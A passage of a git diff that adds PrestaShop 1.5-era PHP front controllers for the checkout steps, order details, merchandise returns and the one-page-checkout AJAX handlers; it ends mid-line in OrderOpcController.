@@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class OrderControllerCore extends ParentOrderController +{ + public $step; + + /** + * Initialize order controller + * @see FrontController::init() + */ + public function init() + { + global $orderTotal; + + parent::init(); + + $this->step = (int)(Tools::getValue('step')); + if (!$this->nbProducts) + $this->step = -1; + + // If some products have disappear + if (!$this->context->cart->checkQuantities()) + { + $this->step = 0; + $this->errors[] = Tools::displayError('An item in your cart is no longer available in this quantity. You cannot proceed with your order until the quantity is adjusted.'); + } + + // Check minimal amount + $currency = Currency::getCurrency((int)$this->context->cart->id_currency); + + $orderTotal = $this->context->cart->getOrderTotal(); + $minimal_purchase = Tools::convertPrice((float)Configuration::get('PS_PURCHASE_MINIMUM'), $currency); + if ($this->context->cart->getOrderTotal(false, Cart::ONLY_PRODUCTS) < $minimal_purchase && $this->step > 0) + { + $this->step = 0; + $this->errors[] = sprintf( + Tools::displayError('A minimum purchase total of %s is required in order to validate your order.'), + Tools::displayPrice($minimal_purchase, $currency) + ); + } + if (!$this->context->customer->isLogged(true) && in_array($this->step, array(1, 2, 3))) + { + $back_url = $this->context->link->getPageLink('order', true, (int)$this->context->language->id, array('step' => $this->step, 'multi-shipping' => (int)Tools::getValue('multi-shipping'))); + $params = array('multi-shipping' => (int)Tools::getValue('multi-shipping'), 'display_guest_checkout' => (int)Configuration::get('PS_GUEST_CHECKOUT_ENABLED'), 'back' => $back_url); + Tools::redirect($this->context->link->getPageLink('authentication', true, (int)$this->context->language->id, $params)); + } + + if (Tools::getValue('multi-shipping') == 1) + $this->context->smarty->assign('multi_shipping', true); + else + $this->context->smarty->assign('multi_shipping', false); + + if ($this->context->customer->id) + $this->context->smarty->assign('address_list', $this->context->customer->getAddresses($this->context->language->id)); + else + $this->context->smarty->assign('address_list', array()); + } + + public function postProcess() + { + // Update carrier selected on preProccess in order to fix a bug of + // block cart when it's hooked on leftcolumn + if ($this->step == 3 && Tools::isSubmit('processCarrier')) + $this->processCarrier(); + } + + /** + * Assign template vars related to page content + * @see FrontController::initContent() + */ + public function initContent() + { + global $isVirtualCart; + + parent::initContent(); + + if (Tools::isSubmit('ajax') && Tools::getValue('method') == 'updateExtraCarrier') + { + // Change virtualy the currents delivery options + $delivery_option = $this->context->cart->getDeliveryOption(); + $delivery_option[(int)Tools::getValue('id_address')] = Tools::getValue('id_delivery_option'); + $this->context->cart->setDeliveryOption($delivery_option); + $this->context->cart->save(); + $return = array( + 'content' => Hook::exec( + 'displayCarrierList', + array( + 'address' => new Address((int)Tools::getValue('id_address')) + ) + ) + ); + die(Tools::jsonEncode($return)); + } + + if ($this->nbProducts) + $this->context->smarty->assign('virtual_cart', $isVirtualCart); + + // 4 steps to the order + /* + switch ((int)$this->step) + { + case -1; + $this->context->smarty->assign('empty', 1); + $this->setTemplate(_PS_THEME_DIR_.'shopping-cart.tpl'); + break; + + case 1: + $this->_assignAddress(); + $this->processAddressFormat(); + if (Tools::getValue('multi-shipping') == 1) + { + $this->_assignSummaryInformations(); + $this->context->smarty->assign('product_list', $this->context->cart->getProducts()); + $this->setTemplate(_PS_THEME_DIR_.'order-address-multishipping.tpl'); + } + else + $this->setTemplate(_PS_THEME_DIR_.'order-address.tpl'); + break; + + case 2: + if (Tools::isSubmit('processAddress')) + $this->processAddress(); + $this->autoStep(); + $this->_assignCarrier(); + $this->setTemplate(_PS_THEME_DIR_.'order-carrier.tpl'); + break; + + case 3: + // Check that the conditions (so active) were accepted by the customer + $cgv = Tools::getValue('cgv') || $this->context->cookie->check_cgv; + if (Configuration::get('PS_CONDITIONS') && (!Validate::isBool($cgv) || $cgv == false)) + Tools::redirect('index.php?controller=order&step=2'); + Context::getContext()->cookie->check_cgv = true; + + // Check the delivery option is setted + if (!$this->context->cart->isVirtualCart()) + { + if (!Tools::getValue('delivery_option') && !Tools::getValue('id_carrier') && !$this->context->cart->delivery_option && !$this->context->cart->id_carrier) + Tools::redirect('index.php?controller=order&step=2'); + elseif (!Tools::getValue('id_carrier') && !$this->context->cart->id_carrier) + { + foreach (Tools::getValue('delivery_option') as $delivery_option) + if (empty($delivery_option)) + Tools::redirect('index.php?controller=order&step=2'); + } + } + + $this->autoStep(); + + // Bypass payment step if total is 0 + if (($id_order = $this->_checkFreeOrder()) && $id_order) + { + if ($this->context->customer->is_guest) + { + $order = new Order((int)$id_order); + $email = $this->context->customer->email; + $this->context->customer->mylogout(); // If guest we clear the cookie for security reason + Tools::redirect('index.php?controller=guest-tracking&id_order='.urlencode($order->reference).'&email='.urlencode($email)); + } + else + Tools::redirect('index.php?controller=history'); + } + $this->_assignPayment(); + // assign some informations to display cart + $this->_assignSummaryInformations(); + $this->setTemplate(_PS_THEME_DIR_.'order-payment.tpl'); + break; + + default: + $this->_assignSummaryInformations(); + $this->setTemplate(_PS_THEME_DIR_.'shopping-cart.tpl'); + break; + }*/ + + $this->context->smarty->assign(array( + 'currencySign' => $this->context->currency->sign, + 'currencyRate' => $this->context->currency->conversion_rate, + 'currencyFormat' => $this->context->currency->format, + 'currencyBlank' => $this->context->currency->blank, + )); + } + + protected function processAddressFormat() + { + $addressDelivery = new Address((int)$this->context->cart->id_address_delivery); + $addressInvoice = new Address((int)$this->context->cart->id_address_invoice); + + $invoiceAddressFields = AddressFormat::getOrderedAddressFields($addressInvoice->id_country, false, true); + $deliveryAddressFields = AddressFormat::getOrderedAddressFields($addressDelivery->id_country, false, true); + + $this->context->smarty->assign(array( + 'inv_adr_fields' => $invoiceAddressFields, + 'dlv_adr_fields' => $deliveryAddressFields)); + } + + /** + * Order process controller + */ + public function autoStep() + { + global $isVirtualCart; + + if ($this->step >= 2 && (!$this->context->cart->id_address_delivery || !$this->context->cart->id_address_invoice)) + Tools::redirect('index.php?controller=order&step=1'); + + if ($this->step > 2 && !$isVirtualCart && count($this->context->cart->getDeliveryOptionList()) == 0) + Tools::redirect('index.php?controller=order&step=2'); + + $delivery = new Address((int)$this->context->cart->id_address_delivery); + $invoice = new Address((int)$this->context->cart->id_address_invoice); + + if ($delivery->deleted || $invoice->deleted) + { + if ($delivery->deleted) + unset($this->context->cart->id_address_delivery); + if ($invoice->deleted) + unset($this->context->cart->id_address_invoice); + Tools::redirect('index.php?controller=order&step=1'); + } + } + + /** + * Manage address + */ + public function processAddress() + { + if (!Tools::getValue('multi-shipping')) + $this->context->cart->setNoMultishipping(); + + $same = Tools::isSubmit('same'); + if(!Tools::getValue('id_address_invoice', false) && !$same) + $same = true; + + if (!Customer::customerHasAddress($this->context->customer->id, (int)Tools::getValue('id_address_delivery')) + || (!$same && Tools::getValue('id_address_delivery') != Tools::getValue('id_address_invoice') + && !Customer::customerHasAddress($this->context->customer->id, (int)Tools::getValue('id_address_invoice')))) + $this->errors[] = Tools::displayError('Invalid address', !Tools::getValue('ajax')); + else + { + $this->context->cart->id_address_delivery = (int)Tools::getValue('id_address_delivery'); + $this->context->cart->id_address_invoice = $same ? $this->context->cart->id_address_delivery : (int)Tools::getValue('id_address_invoice'); + + CartRule::autoRemoveFromCart($this->context); + CartRule::autoAddToCart($this->context); + + if (!$this->context->cart->update()) + $this->errors[] = Tools::displayError('An error occurred while updating your cart.', !Tools::getValue('ajax')); + + if (!$this->context->cart->isMultiAddressDelivery()) + $this->context->cart->setNoMultishipping(); // If there is only one delivery address, set each delivery address lines with the main delivery address + + if (Tools::isSubmit('message')) + $this->_updateMessage(Tools::getValue('message')); + + // Add checking for all addresses + $address_without_carriers = $this->context->cart->getDeliveryAddressesWithoutCarriers(); + if (count($address_without_carriers) && !$this->context->cart->isVirtualCart()) + { + if (count($address_without_carriers) > 1) + $this->errors[] = sprintf(Tools::displayError('There are no carriers that deliver to some addresses you selected.', !Tools::getValue('ajax'))); + elseif ($this->context->cart->isMultiAddressDelivery()) + $this->errors[] = sprintf(Tools::displayError('There are no carriers that deliver to one of the address you selected.', !Tools::getValue('ajax'))); + else + $this->errors[] = sprintf(Tools::displayError('There are no carriers that deliver to the address you selected.', !Tools::getValue('ajax'))); + } + } + + if ($this->errors) + { + if (Tools::getValue('ajax')) + die('{"hasError" : true, "errors" : ["'.implode('\',\'', $this->errors).'"]}'); + $this->step = 1; + } + + if ($this->ajax) + die(true); + } + + /** + * Carrier step + */ + protected function processCarrier() + { + global $orderTotal; + parent::_processCarrier(); + + if (count($this->errors)) + { + $this->context->smarty->assign('errors', $this->errors); + $this->_assignCarrier(); + $this->step = 2; + $this->displayContent(); + include(dirname(__FILE__).'/../footer.php'); + exit; + } + $orderTotal = $this->context->cart->getOrderTotal(); + } + + /** + * Address step + */ + protected function _assignAddress() + { + parent::_assignAddress(); + + if (Tools::getValue('multi-shipping')) + $this->context->cart->autosetProductAddress(); + + $this->context->smarty->assign('cart', $this->context->cart); + + } + + /** + * Carrier step + */ + protected function _assignCarrier() + { + if (!isset($this->context->customer->id)) + die(Tools::displayError('Fatal error: No customer')); + // Assign carrier + parent::_assignCarrier(); + // Assign wrapping and TOS + $this->_assignWrappingAndTOS(); + + $this->context->smarty->assign( + array( + 'is_guest' => (isset($this->context->customer->is_guest) ? $this->context->customer->is_guest : 0) + )); + } + + /** + * Payment step + */ + protected function _assignPayment() + { + global $orderTotal; + + // Redirect instead of displaying payment modules if any module are grefted on + Hook::exec('displayBeforePayment', array('module' => 'order.php?step=2')); + + /* We may need to display an order summary */ + $this->context->smarty->assign($this->context->cart->getSummaryDetails()); + $this->context->smarty->assign(array( + 'total_price' => (float)($orderTotal), + 'taxes_enabled' => (int)(Configuration::get('PS_TAX')) + )); + $this->context->cart->checkedTOS = '1'; + + parent::_assignPayment(); + } +} + diff --git a/controllers/front/OrderDetailController.php b/controllers/front/OrderDetailController.php new file mode 100755 index 0000000..a53e842 --- /dev/null +++ b/controllers/front/OrderDetailController.php @@ -0,0 +1,224 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class OrderDetailControllerCore extends FrontController +{ + public $auth = true; + public $authRedirection = 'history'; + public $ssl = true; + + /** + * Initialize order detail controller + * @see FrontController::init() + */ + public function init() + { + parent::init(); + header('Cache-Control: no-cache, must-revalidate'); + header('Expires: Sat, 26 Jul 1997 05:00:00 GMT'); + } + + /** + * Start forms process + * @see FrontController::postProcess() + */ + public function postProcess() + { + if (Tools::isSubmit('submitMessage')) + { + $idOrder = (int)(Tools::getValue('id_order')); + $msgText = Tools::getValue('msgText'); + + if (!$idOrder || !Validate::isUnsignedId($idOrder)) + $this->errors[] = Tools::displayError('The order is no longer valid.'); + elseif (empty($msgText)) + $this->errors[] = Tools::displayError('The message cannot be blank.'); + elseif (!Validate::isMessage($msgText)) + $this->errors[] = Tools::displayError('This message is invalid (HTML is not allowed).'); + if (!count($this->errors)) + { + $order = new Order($idOrder); + if (Validate::isLoadedObject($order) && $order->id_customer == $this->context->customer->id) + { + //check if a thread already exist + $id_customer_thread = CustomerThread::getIdCustomerThreadByEmailAndIdOrder($this->context->customer->email, $order->id); + + $cm = new CustomerMessage(); + if (!$id_customer_thread) + { + $ct = new CustomerThread(); + $ct->id_contact = 0; + $ct->id_customer = (int)$order->id_customer; + $ct->id_shop = (int)$this->context->shop->id; + if ($id_product = (int)Tools::getValue('id_product') && $order->orderContainProduct((int)$id_product)) + $ct->id_product = $id_product; + $ct->id_order = (int)$order->id; + $ct->id_lang = (int)$this->context->language->id; + $ct->email = $this->context->customer->email; + $ct->status = 'open'; + $ct->token = Tools::passwdGen(12); + $ct->add(); + } + else + $ct = new CustomerThread((int)$id_customer_thread); + $cm->id_customer_thread = $ct->id; + $cm->message = $msgText; + $cm->ip_address = ip2long($_SERVER['REMOTE_ADDR']); + $cm->add(); + + if (!Configuration::get('PS_MAIL_EMAIL_MESSAGE')) + $to = strval(Configuration::get('PS_SHOP_EMAIL')); + else + { + $to = new Contact((int)(Configuration::get('PS_MAIL_EMAIL_MESSAGE'))); + $to = strval($to->email); + } + $toName = strval(Configuration::get('PS_SHOP_NAME')); + $customer = $this->context->customer; + + if (Validate::isLoadedObject($customer)) + Mail::Send($this->context->language->id, 'order_customer_comment', Mail::l('Message from a customer'), + array( + '{lastname}' => $customer->lastname, + '{firstname}' => $customer->firstname, + '{email}' => $customer->email, + '{id_order}' => (int)($order->id), + '{order_name}' => $order->getUniqReference(), + '{message}' => Tools::nl2br($msgText) + ), + $to, $toName, $customer->email, $customer->firstname.' '.$customer->lastname); + + if (Tools::getValue('ajax') != 'true') + Tools::redirect('index.php?controller=order-detail&id_order='.(int)$idOrder); + + } + else + $this->errors[] = Tools::displayError('Order not found'); + } + } + } + + public function displayAjax() + { + $this->display(); + } + + /** + * Assign template vars related to page content + * @see FrontController::initContent() + */ + public function initContent() + { + parent::initContent(); + + if (!($id_order = (int)Tools::getValue('id_order')) || !Validate::isUnsignedId($id_order)) + $this->errors[] = Tools::displayError('Order ID required'); + else + { + $order = new Order($id_order); + if (Validate::isLoadedObject($order) && $order->id_customer == $this->context->customer->id) + { + $id_order_state = (int)($order->getCurrentState()); + $carrier = new Carrier((int)($order->id_carrier), (int)($order->id_lang)); + $addressInvoice = new Address((int)($order->id_address_invoice)); + $addressDelivery = new Address((int)($order->id_address_delivery)); + + $inv_adr_fields = AddressFormat::getOrderedAddressFields($addressInvoice->id_country); + $dlv_adr_fields = AddressFormat::getOrderedAddressFields($addressDelivery->id_country); + + $invoiceAddressFormatedValues = AddressFormat::getFormattedAddressFieldsValues($addressInvoice, $inv_adr_fields); + $deliveryAddressFormatedValues = AddressFormat::getFormattedAddressFieldsValues($addressDelivery, $dlv_adr_fields); + + if ($order->total_discounts > 0) + $this->context->smarty->assign('total_old', (float)($order->total_paid - $order->total_discounts)); + $products = $order->getProducts(); + + /* DEPRECATED: customizedDatas @since 1.5 */ + $customizedDatas = Product::getAllCustomizedDatas((int)($order->id_cart)); + Product::addCustomizationPrice($products, $customizedDatas); + + OrderReturn::addReturnedQuantity($products, $order->id); + + $customer = new Customer($order->id_customer); + + $this->context->smarty->assign(array( + 'shop_name' => strval(Configuration::get('PS_SHOP_NAME')), + 'order' => $order, + 'return_allowed' => (int)($order->isReturnable()), + 'currency' => new Currency($order->id_currency), + 'order_state' => (int)($id_order_state), + 'invoiceAllowed' => (int)(Configuration::get('PS_INVOICE')), + 'invoice' => (OrderState::invoiceAvailable($id_order_state) && count($order->getInvoicesCollection())), + 'order_history' => $order->getHistory($this->context->language->id, false, true), + 'products' => $products, + 'discounts' => $order->getCartRules(), + 'carrier' => $carrier, + 'address_invoice' => $addressInvoice, + 'invoiceState' => (Validate::isLoadedObject($addressInvoice) && $addressInvoice->id_state) ? new State($addressInvoice->id_state) : false, + 'address_delivery' => $addressDelivery, + 'inv_adr_fields' => $inv_adr_fields, + 'dlv_adr_fields' => $dlv_adr_fields, + 'invoiceAddressFormatedValues' => $invoiceAddressFormatedValues, + 'deliveryAddressFormatedValues' => $deliveryAddressFormatedValues, + 'deliveryState' => (Validate::isLoadedObject($addressDelivery) && $addressDelivery->id_state) ? new State($addressDelivery->id_state) : false, + 'is_guest' => false, + 'messages' => CustomerMessage::getMessagesByOrderId((int)($order->id), false), + 'CUSTOMIZE_FILE' => Product::CUSTOMIZE_FILE, + 'CUSTOMIZE_TEXTFIELD' => Product::CUSTOMIZE_TEXTFIELD, + 'isRecyclable' => Configuration::get('PS_RECYCLABLE_PACK'), + 'use_tax' => Configuration::get('PS_TAX'), + 'group_use_tax' => (Group::getPriceDisplayMethod($customer->id_default_group) == PS_TAX_INC), + /* DEPRECATED: customizedDatas @since 1.5 */ + 'customizedDatas' => $customizedDatas + /* DEPRECATED: customizedDatas @since 1.5 */ + )); + + if ($carrier->url && $order->shipping_number) + $this->context->smarty->assign('followup', str_replace('@', $order->shipping_number, $carrier->url)); + $this->context->smarty->assign('HOOK_ORDERDETAILDISPLAYED', Hook::exec('displayOrderDetail', array('order' => $order))); + Hook::exec('actionOrderDetail', array('carrier' => $carrier, 'order' => $order)); + + unset($carrier, $addressInvoice, $addressDelivery); + } + else + $this->errors[] = Tools::displayError('This order cannot be found.'); + unset($order); + } + + $this->setTemplate(_PS_THEME_DIR_.'order-detail.tpl'); + } + + public function setMedia() + { + if (Tools::getValue('ajax') != 'true') + { + parent::setMedia(); + $this->addCSS(_THEME_CSS_DIR_.'history.css'); + $this->addCSS(_THEME_CSS_DIR_.'addresses.css'); + } + } +} + diff --git a/controllers/front/OrderFollowController.php b/controllers/front/OrderFollowController.php new file mode 100755 index 0000000..a0a62af --- /dev/null +++ b/controllers/front/OrderFollowController.php @@ -0,0 +1,119 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class OrderFollowControllerCore extends FrontController +{ + public $auth = true; + public $php_self = 'order-follow'; + public $authRedirection = 'order-follow'; + public $ssl = true; + + /** + * Start forms process + * @see FrontController::postProcess() + */ + public function postProcess() + { + if (Tools::isSubmit('submitReturnMerchandise')) + { + $customizationQtyInput = Tools::getValue('customization_qty_input'); + if (!$id_order = (int)(Tools::getValue('id_order'))) + Tools::redirect('index.php?controller=history'); + if (!$order_qte_input = Tools::getValue('order_qte_input')) + Tools::redirect('index.php?controller=order-follow&errorDetail1'); + if (!$customizationQtyInput && $customizationIds = Tools::getValue('customization_ids')) + Tools::redirect('index.php?controller=order-follow&errorDetail1'); + if (!$customizationIds && !$ids_order_detail = Tools::getValue('ids_order_detail')) + Tools::redirect('index.php?controller=order-follow&errorDetail2'); + + $order = new Order((int)($id_order)); + if (!$order->isReturnable()) Tools::redirect('index.php?controller=order-follow&errorNotReturnable'); + if ($order->id_customer != $this->context->customer->id) + die(Tools::displayError()); + $orderReturn = new OrderReturn(); + $orderReturn->id_customer = (int)$this->context->customer->id; + $orderReturn->id_order = $id_order; + $orderReturn->question = strval(Tools::getValue('returnText')); + if (empty($orderReturn->question)) + Tools::redirect('index.php?controller=order-follow&errorMsg&'. + http_build_query(array( + 'ids_order_detail' => $ids_order_detail, + 'order_qte_input' => $order_qte_input, + 'id_order' => Tools::getValue('id_order'), + ))); + + if (!$orderReturn->checkEnoughProduct($ids_order_detail, $order_qte_input, $customizationIds, $customizationQtyInput)) + Tools::redirect('index.php?controller=order-follow&errorQuantity'); + + $orderReturn->state = 1; + $orderReturn->add(); + $orderReturn->addReturnDetail($ids_order_detail, $order_qte_input, $customizationIds, $customizationQtyInput); + Hook::exec('actionOrderReturn', array('orderReturn' => $orderReturn)); + Tools::redirect('index.php?controller=order-follow'); + } + } + + /** + * Assign template vars related to page content + * @see FrontController::initContent() + */ + public function initContent() + { + parent::initContent(); + + $ordersReturn = OrderReturn::getOrdersReturn($this->context->customer->id); + if (Tools::isSubmit('errorQuantity')) + $this->context->smarty->assign('errorQuantity', true); + elseif (Tools::isSubmit('errorMsg')) + $this->context->smarty->assign( + array( + 'errorMsg' => true, + 'ids_order_detail' => Tools::getValue('ids_order_detail', array()), + 'order_qte_input' => Tools::getValue('order_qte_input', array()), + 'id_order' => Tools::getValue('id_order'), + ) + ); + elseif (Tools::isSubmit('errorDetail1')) + $this->context->smarty->assign('errorDetail1', true); + elseif (Tools::isSubmit('errorDetail2')) + $this->context->smarty->assign('errorDetail2', true); + elseif (Tools::isSubmit('errorNotReturnable')) + $this->context->smarty->assign('errorNotReturnable', true); + + $this->context->smarty->assign('ordersReturn', $ordersReturn); + + $this->setTemplate(_PS_THEME_DIR_.'order-follow.tpl'); + } + + public function setMedia() + { + parent::setMedia(); + $this->addCSS(array(_THEME_CSS_DIR_.'history.css', _THEME_CSS_DIR_.'addresses.css')); + $this->addJqueryPlugin('scrollTo'); + $this->addJS(array(_THEME_JS_DIR_.'history.js', _THEME_JS_DIR_.'tools.js')); + } +} + diff --git a/controllers/front/OrderOpcController.php b/controllers/front/OrderOpcController.php new file mode 100755 index 0000000..166afeb --- /dev/null +++ b/controllers/front/OrderOpcController.php @@ -0,0 +1,622 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class OrderOpcControllerCore extends ParentOrderController +{ + public $php_self = 'order-opc'; + public $isLogged; + + /** + * Initialize order opc controller + * @see FrontController::init() + */ + public function init() + { + parent::init(); + + if ($this->nbProducts) + $this->context->smarty->assign('virtual_cart', false); + + $this->context->smarty->assign('is_multi_address_delivery', $this->context->cart->isMultiAddressDelivery() || ((int)Tools::getValue('multi-shipping') == 1)); + $this->context->smarty->assign('open_multishipping_fancybox', (int)Tools::getValue('multi-shipping') == 1); + + if ($this->context->cart->nbProducts()) + { + if (Tools::isSubmit('ajax')) + { + if (Tools::isSubmit('method')) + { + switch (Tools::getValue('method')) + { + case 'updateMessage': + if (Tools::isSubmit('message')) + { + $txtMessage = urldecode(Tools::getValue('message')); + $this->_updateMessage($txtMessage); + if (count($this->errors)) + die('{"hasError" : true, "errors" : ["'.implode('\',\'', $this->errors).'"]}'); + die(true); + } + break; + + case 'updateCarrierAndGetPayments': + if ((Tools::isSubmit('delivery_option') || Tools::isSubmit('id_carrier')) && Tools::isSubmit('recyclable') && Tools::isSubmit('gift') && Tools::isSubmit('gift_message')) + { + $this->_assignWrappingAndTOS(); + if ($this->_processCarrier()) + { + $carriers = $this->context->cart->simulateCarriersOutput(); + $return = array_merge(array( + 'HOOK_TOP_PAYMENT' => Hook::exec('displayPaymentTop'), + 'HOOK_PAYMENT' => $this->_getPaymentMethods(), + 'carrier_data' => $this->_getCarrierList(), + 'HOOK_BEFORECARRIER' => Hook::exec('displayBeforeCarrier', array('carriers' => $carriers)) + ), + $this->getFormatedSummaryDetail() + ); + Cart::addExtraCarriers($return); + die(Tools::jsonEncode($return)); + } + else + $this->errors[] = Tools::displayError('An error occurred while updating the cart.'); + if (count($this->errors)) + die('{"hasError" : true, "errors" : ["'.implode('\',\'', $this->errors).'"]}'); + exit; + } + break; + + case 'updateTOSStatusAndGetPayments': + if (Tools::isSubmit('checked')) + { + $this->context->cookie->checkedTOS = (int)(Tools::getValue('checked')); + die(Tools::jsonEncode(array( + 'HOOK_TOP_PAYMENT' => Hook::exec('displayPaymentTop'), + 'HOOK_PAYMENT' => $this->_getPaymentMethods() + ))); + } + break; + + case 'getCarrierList': + die(Tools::jsonEncode($this->_getCarrierList())); + break; + + case 'editCustomer': + if (!$this->isLogged) + exit; + if (Tools::getValue('years')) + $this->context->customer->birthday = (int)Tools::getValue('years').'-'.(int)Tools::getValue('months').'-'.(int)Tools::getValue('days'); + $_POST['lastname'] = $_POST['customer_lastname']; + $_POST['firstname'] = $_POST['customer_firstname']; + $this->errors = $this->context->customer->validateController(); + $this->context->customer->newsletter = (int)Tools::isSubmit('newsletter'); + $this->context->customer->optin = (int)Tools::isSubmit('optin'); + $return = array( + 'hasError' => !empty($this->errors), + 'errors' => $this->errors, + 'id_customer' => (int)$this->context->customer->id, + 'token' => Tools::getToken(false) + ); + if (!count($this->errors)) + $return['isSaved'] = (bool)$this->context->customer->update(); + else + $return['isSaved'] = false; + die(Tools::jsonEncode($return)); + break; + + case 'getAddressBlockAndCarriersAndPayments': + if ($this->context->customer->isLogged()) + { + // check if customer have addresses + if (!Customer::getAddressesTotalById($this->context->customer->id)) + die(Tools::jsonEncode(array('no_address' => 1))); + if (file_exists(_PS_MODULE_DIR_.'blockuserinfo/blockuserinfo.php')) + { + include_once(_PS_MODULE_DIR_.'blockuserinfo/blockuserinfo.php'); + $blockUserInfo = new BlockUserInfo(); + } + $this->context->smarty->assign('isVirtualCart', $this->context->cart->isVirtualCart()); + $this->_processAddressFormat(); + $this->_assignAddress(); + // Wrapping fees + $wrapping_fees = $this->context->cart->getGiftWrappingPrice(false); + $wrapping_fees_tax_inc = $wrapping_fees = $this->context->cart->getGiftWrappingPrice(); + $return = array_merge(array( + 'order_opc_adress' => $this->context->smarty->fetch(_PS_THEME_DIR_.'order-address.tpl'), + 'block_user_info' => (isset($blockUserInfo) ? $blockUserInfo->hookTop(array()) : ''), + 'carrier_data' => $this->_getCarrierList(), + 'HOOK_TOP_PAYMENT' => Hook::exec('displayPaymentTop'), + 'HOOK_PAYMENT' => $this->_getPaymentMethods(), + 'no_address' => 0, + 'gift_price' => Tools::displayPrice(Tools::convertPrice(Product::getTaxCalculationMethod() == 1 ? $wrapping_fees : $wrapping_fees_tax_inc, new Currency((int)($this->context->cookie->id_currency)))) + ), + $this->getFormatedSummaryDetail() + ); + die(Tools::jsonEncode($return)); + } + die(Tools::displayError()); + break; + + case 'makeFreeOrder': + /* Bypass payment step if total is 0 */ + if (($id_order = $this->_checkFreeOrder()) && $id_order) + { + $order = new Order((int)$id_order); + $email = $this->context->customer->email; + if ($this->context->customer->is_guest) + $this->context->customer->logout(); // If guest we clear the cookie for security reason + die('freeorder:'.$order->reference.':'.$email); + } + exit; + break; + + case 'updateAddressesSelected': + if ($this->context->customer->isLogged(true)) + { + $address_delivery = new Address((int)(Tools::getValue('id_address_delivery'))); + $this->context->smarty->assign('isVirtualCart', $this->context->cart->isVirtualCart()); + $address_invoice = ((int)(Tools::getValue('id_address_delivery')) == (int)(Tools::getValue('id_address_invoice')) ? $address_delivery : new Address((int)(Tools::getValue('id_address_invoice')))); + if ($address_delivery->id_customer != $this->context->customer->id || $address_invoice->id_customer != $this->context->customer->id) + $this->errors[] = Tools::displayError('This address is not yours.'); + elseif (!Address::isCountryActiveById((int)(Tools::getValue('id_address_delivery')))) + $this->errors[] = Tools::displayError('This address is not in a valid area.'); + elseif (!Validate::isLoadedObject($address_delivery) || !Validate::isLoadedObject($address_invoice) || $address_invoice->deleted || $address_delivery->deleted) + $this->errors[] = Tools::displayError('This address is invalid.'); + else + { + $this->context->cart->id_address_delivery = (int)(Tools::getValue('id_address_delivery')); + $this->context->cart->id_address_invoice = Tools::isSubmit('same') ? $this->context->cart->id_address_delivery : (int)(Tools::getValue('id_address_invoice')); + if (!$this->context->cart->update()) + $this->errors[] = Tools::displayError('An error occurred while updating your cart.'); + + $infos = Address::getCountryAndState((int)($this->context->cart->id_address_delivery)); + if (isset($infos['id_country']) && $infos['id_country']) + { + $country = new Country((int)$infos['id_country']); + $this->context->country = $country; + } + + // Address has changed, so we check if the cart rules still apply + CartRule::autoRemoveFromCart($this->context); + CartRule::autoAddToCart($this->context); + + if (!$this->context->cart->isMultiAddressDelivery()) + $this->context->cart->setNoMultishipping(); // As the cart is no multishipping, set each delivery address lines with the main delivery address + + if (!count($this->errors)) + { + $result = $this->_getCarrierList(); + // Wrapping fees + $wrapping_fees = $this->context->cart->getGiftWrappingPrice(false); + $wrapping_fees_tax_inc = $wrapping_fees = $this->context->cart->getGiftWrappingPrice(); + $result = array_merge($result, array( + 'HOOK_TOP_PAYMENT' => Hook::exec('displayPaymentTop'), + 'HOOK_PAYMENT' => $this->_getPaymentMethods(), + 'gift_price' => Tools::displayPrice(Tools::convertPrice(Product::getTaxCalculationMethod() == 1 ? $wrapping_fees : $wrapping_fees_tax_inc, new Currency((int)($this->context->cookie->id_currency)))), + 'carrier_data' => $this->_getCarrierList()), + $this->getFormatedSummaryDetail() + ); + die(Tools::jsonEncode($result)); + } + } + if (count($this->errors)) + die(Tools::jsonEncode(array( + 'hasError' => true, + 'errors' => $this->errors + ))); + } + die(Tools::displayError()); + break; + + case 'multishipping': + $this->_assignSummaryInformations(); + $this->context->smarty->assign('product_list', $this->context->cart->getProducts()); + + if ($this->context->customer->id) + $this->context->smarty->assign('address_list', $this->context->customer->getAddresses($this->context->language->id)); + else + $this->context->smarty->assign('address_list', array()); + $this->setTemplate(_PS_THEME_DIR_.'order-address-multishipping-products.tpl'); + $this->display(); + die(); + break; + + case 'cartReload': + $this->_assignSummaryInformations(); + if ($this->context->customer->id) + $this->context->smarty->assign('address_list', $this->context->customer->getAddresses($this->context->language->id)); + else + $this->context->smarty->assign('address_list', array()); + $this->context->smarty->assign('opc', true); + $this->setTemplate(_PS_THEME_DIR_.'shopping-cart.tpl'); + $this->display(); + die(); + break; + + case 'noMultiAddressDelivery': + $this->context->cart->setNoMultishipping(); + die(); + break; + + default: + throw new PrestaShopException('Unknown method "'.Tools::getValue('method').'"'); + } + } + else + throw new PrestaShopException('Method is not defined'); + } + } + elseif (Tools::isSubmit('ajax')) + throw new PrestaShopException('Method is not defined'); + } + + public function setMedia() + { + parent::setMedia(); + + if ($this->context->getMobileDevice() == false) + { + // Adding CSS style sheet + $this->addCSS(_THEME_CSS_DIR_.'order-opc.css'); + // Adding JS files + $this->addJS(_THEME_JS_DIR_.'order-opc.js'); + $this->addJqueryPlugin('scrollTo'); + } + else + $this->addJS(_THEME_MOBILE_JS_DIR_.'opc.js'); + $this->addJS(_THEME_JS_DIR_.'tools/statesManagement.js'); + } + + /** + * Assign template vars related to page content + * @see FrontController::initContent() + */ + public function initContent() + { + parent::initContent(); + + /* id_carrier is not defined in database before choosing a carrier, set it to a default one to match a potential cart _rule */ + if (empty($this->context->cart->id_carrier)) + { + $checked = $this->context->cart->simulateCarrierSelectedOutput(); + $checked = ((int)Cart::desintifier($checked)); + $this->context->cart->id_carrier = $checked; + $this->context->cart->update(); + CartRule::autoRemoveFromCart($this->context); + CartRule::autoAddToCart($this->context); + } + + // SHOPPING CART + $this->_assignSummaryInformations(); + // WRAPPING AND TOS + $this->_assignWrappingAndTOS(); + + $selectedCountry = (int)(Configuration::get('PS_COUNTRY_DEFAULT')); + + if (Configuration::get('PS_RESTRICT_DELIVERED_COUNTRIES')) + $countries = Carrier::getDeliveredCountries($this->context->language->id, 